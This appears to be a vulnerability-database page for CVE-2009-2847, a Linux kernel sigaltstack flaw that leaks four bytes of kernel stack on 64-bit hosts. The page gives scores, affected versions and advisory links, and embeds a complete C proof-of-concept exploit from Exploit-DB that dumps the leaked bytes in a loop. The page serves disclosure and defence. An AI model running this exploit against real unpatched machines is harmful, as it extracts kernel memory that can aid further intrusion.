CVE-2009-2847 : Detail

CVE-2009-2847

0.19%V4
Local
2009-08-18
18h41 +00:00
2018-10-10
16h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The do_sigaltstack function in kernel/signal.c in Linux kernel 2.4 through 2.4.37 and 2.6 before 2.6.31-rc5, when running on 64-bit systems, does not clear certain padding bytes from a structure, which allows local users to obtain sensitive information from the kernel stack via the sigaltstack function.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.9 AV:L/AC:L/Au:N/C:C/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 9352

Publication date : 2009-08-03 22h00 +00:00
Author : Jon Oberheide
EDB Verified : Yes

/* * sigaltstack-leak.c * * Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure * Jon Oberheide <jon@oberheide.org> * http://jon.oberheide.org * * Information: * * http://git.kernel.org/linus/0083fc2c50e6c5127c2802ad323adf8143ab7856 * * Ulrich Drepper correctly points out that there is generally padding in * the structure on 64-bit hosts, and that copying the structure from * kernel to user space can leak information from the kernel stack in those * padding bytes. * * Notes: * * Only 4 bytes of uninitialized kernel stack are leaked in the padding * between stack_t's ss_flags and ss_size. The disclosure only affects * affects 64-bit hosts. */ #include <stdio.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <time.h> #include <sys/syscall.h> #include <sys/types.h> const int randcalls[] = { 0, 1, 2, 3, 4, 5, 6, 8, 9, 10, 11, 13, 14, 16, 21, 22, 24, 25, 32, 33, 36, 37, 38, 39, 72, 73, 78, 79, 96, 97, 97, 102, 104, 105, 106, 107, 108, 109, 110, 11, 112, 113, 114, 116, 117, 118, 119, 120, 121, 121, 123, 124, 125, 140, 141, 143, 146 }; void dump(const unsigned char *p, unsigned l) { printf("stack_t:"); while (l > 0) { printf(" "); if (l == 12) { printf("*** "); } printf("%02x", *p); if (l == 9) { printf(" ***"); } ++p; --l; } printf("\n"); } int main(void) { char *p; int call, ret; size_t size, ftest, stest; stack_t oss; size = sizeof(stack_t); printf("[+] Checking platform...\n"); if (size == 24) { printf("[+] sizeof(stack_t) = %zu\n", size); printf("[+] Correct size, 64-bit platform.\n"); } else { printf("[-] sizeof(stack_t) = %zu\n", size); printf("[-] Error: you do not appear to be on a 64-bit platform.\n"); printf("[-] No information disclosure is possible.\n"); exit(1); } ftest = offsetof(stack_t, ss_flags) + sizeof(oss.ss_flags); stest = offsetof(stack_t, ss_size); printf("[+] Checking for stack_t hole...\n"); if (ftest != stest) { printf("[+] ss_flags end (%zu) != ss_size start (%zu)\n", ftest, stest); printf("[+] Hole in stack_t present!\n", ftest, stest); } else { printf("[-] ss_flags end (%zu) == ss_size start (%zu)\n", ftest, stest); printf("[-] Error: No hole in stack_t, something is quite wrong.\n"); exit(1); } printf("[+] Ready to call sigaltstack.\n\n"); for (ret = 5; ret > 0; ret--) { printf("%d...\n", ret); sleep(1); } srand(time(NULL)); while (1) { /* random stuff to make stack pseudo-interesting */ call = rand() % (sizeof(randcalls) / sizeof(int)); syscall(randcalls[call]); ret = sigaltstack(NULL, &oss); if (ret != 0) { printf("[-] Error: sigaltstack failed.\n"); exit(1); } dump((unsigned char *) &oss, sizeof(oss)); } return 0; } // milw0rm.com [2009-08-04]

Products Mentioned

Configuraton 0

Linux>>Kernel >> Version 2.6.24.7

    Linux>>Kernel >> Version 2.6.25.15

      Linux>>Linux_kernel >> Version To (including) 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6

        Linux>>Linux_kernel >> Version 2.6.0

        Linux>>Linux_kernel >> Version 2.6.1

        Linux>>Linux_kernel >> Version 2.6.10

        Linux>>Linux_kernel >> Version 2.6.11

        Linux>>Linux_kernel >> Version 2.6.11.1

        Linux>>Linux_kernel >> Version 2.6.11.2

        Linux>>Linux_kernel >> Version 2.6.11.3

        Linux>>Linux_kernel >> Version 2.6.11.4

        Linux>>Linux_kernel >> Version 2.6.11.5

        Linux>>Linux_kernel >> Version 2.6.11.6

        Linux>>Linux_kernel >> Version 2.6.11.7

        Linux>>Linux_kernel >> Version 2.6.11.8

        Linux>>Linux_kernel >> Version 2.6.11.9

        Linux>>Linux_kernel >> Version 2.6.11.10

        Linux>>Linux_kernel >> Version 2.6.11.11

        Linux>>Linux_kernel >> Version 2.6.11.12

        Linux>>Linux_kernel >> Version 2.6.12

        Linux>>Linux_kernel >> Version 2.6.12.1

        Linux>>Linux_kernel >> Version 2.6.12.2

        Linux>>Linux_kernel >> Version 2.6.12.3

        Linux>>Linux_kernel >> Version 2.6.12.4

        Linux>>Linux_kernel >> Version 2.6.12.5

        Linux>>Linux_kernel >> Version 2.6.12.6

        Linux>>Linux_kernel >> Version 2.6.13

        Linux>>Linux_kernel >> Version 2.6.13.1

        Linux>>Linux_kernel >> Version 2.6.13.2

        Linux>>Linux_kernel >> Version 2.6.13.3

        Linux>>Linux_kernel >> Version 2.6.13.4

        Linux>>Linux_kernel >> Version 2.6.13.5

        Linux>>Linux_kernel >> Version 2.6.14

        Linux>>Linux_kernel >> Version 2.6.14.1

        Linux>>Linux_kernel >> Version 2.6.14.2

        Linux>>Linux_kernel >> Version 2.6.14.3

        Linux>>Linux_kernel >> Version 2.6.14.4

        Linux>>Linux_kernel >> Version 2.6.14.5

        Linux>>Linux_kernel >> Version 2.6.14.6

        Linux>>Linux_kernel >> Version 2.6.14.7

        Linux>>Linux_kernel >> Version 2.6.15

        Linux>>Linux_kernel >> Version 2.6.15.1

        Linux>>Linux_kernel >> Version 2.6.15.2

        Linux>>Linux_kernel >> Version 2.6.15.3

        Linux>>Linux_kernel >> Version 2.6.15.4

        Linux>>Linux_kernel >> Version 2.6.15.5

        Linux>>Linux_kernel >> Version 2.6.15.6

        Linux>>Linux_kernel >> Version 2.6.15.7

        Linux>>Linux_kernel >> Version 2.6.16

        Linux>>Linux_kernel >> Version 2.6.16.1

        Linux>>Linux_kernel >> Version 2.6.16.2

        Linux>>Linux_kernel >> Version 2.6.16.3

        Linux>>Linux_kernel >> Version 2.6.16.10

        Linux>>Linux_kernel >> Version 2.6.16.11

        Linux>>Linux_kernel >> Version 2.6.16.12

        Linux>>Linux_kernel >> Version 2.6.16.13

        Linux>>Linux_kernel >> Version 2.6.16.14

        Linux>>Linux_kernel >> Version 2.6.16.15

        Linux>>Linux_kernel >> Version 2.6.16.16

        Linux>>Linux_kernel >> Version 2.6.16.17

        Linux>>Linux_kernel >> Version 2.6.16.18

        Linux>>Linux_kernel >> Version 2.6.16.19

        Linux>>Linux_kernel >> Version 2.6.16.20

        Linux>>Linux_kernel >> Version 2.6.16.21

        Linux>>Linux_kernel >> Version 2.6.16.22

        Linux>>Linux_kernel >> Version 2.6.16.23

        Linux>>Linux_kernel >> Version 2.6.16.24

        Linux>>Linux_kernel >> Version 2.6.16.25

        Linux>>Linux_kernel >> Version 2.6.16.26

        Linux>>Linux_kernel >> Version 2.6.16.27

        Linux>>Linux_kernel >> Version 2.6.16.28

        Linux>>Linux_kernel >> Version 2.6.16.29

        Linux>>Linux_kernel >> Version 2.6.16.30

        Linux>>Linux_kernel >> Version 2.6.16.31

        Linux>>Linux_kernel >> Version 2.6.16.31

          Linux>>Linux_kernel >> Version 2.6.16.31

            Linux>>Linux_kernel >> Version 2.6.16.31

              Linux>>Linux_kernel >> Version 2.6.16.31

                Linux>>Linux >> Version *

                  References

                  http://www.openwall.com/lists/oss-security/2009/08/04/1
                  Tags : mailing-list, x_refsource_MLIST
                  http://secunia.com/advisories/37471
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.ubuntu.com/usn/USN-852-1
                  Tags : vendor-advisory, x_refsource_UBUNTU
                  http://rhn.redhat.com/errata/RHSA-2009-1243.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://secunia.com/advisories/36759
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.openwall.com/lists/oss-security/2009/08/26/2
                  Tags : mailing-list, x_refsource_MLIST
                  http://secunia.com/advisories/36562
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.exploit-db.com/exploits/9352
                  Tags : exploit, x_refsource_EXPLOIT-DB
                  http://secunia.com/advisories/36501
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://www.openwall.com/lists/oss-security/2009/08/05/1
                  Tags : mailing-list, x_refsource_MLIST
                  http://www.redhat.com/support/errata/RHSA-2009-1438.html
                  Tags : vendor-advisory, x_refsource_REDHAT
                  http://www.vupen.com/english/advisories/2009/3316
                  Tags : vdb-entry, x_refsource_VUPEN
                  http://secunia.com/advisories/37105
                  Tags : third-party-advisory, x_refsource_SECUNIA
                  http://secunia.com/advisories/36136
                  Tags : third-party-advisory, x_refsource_SECUNIA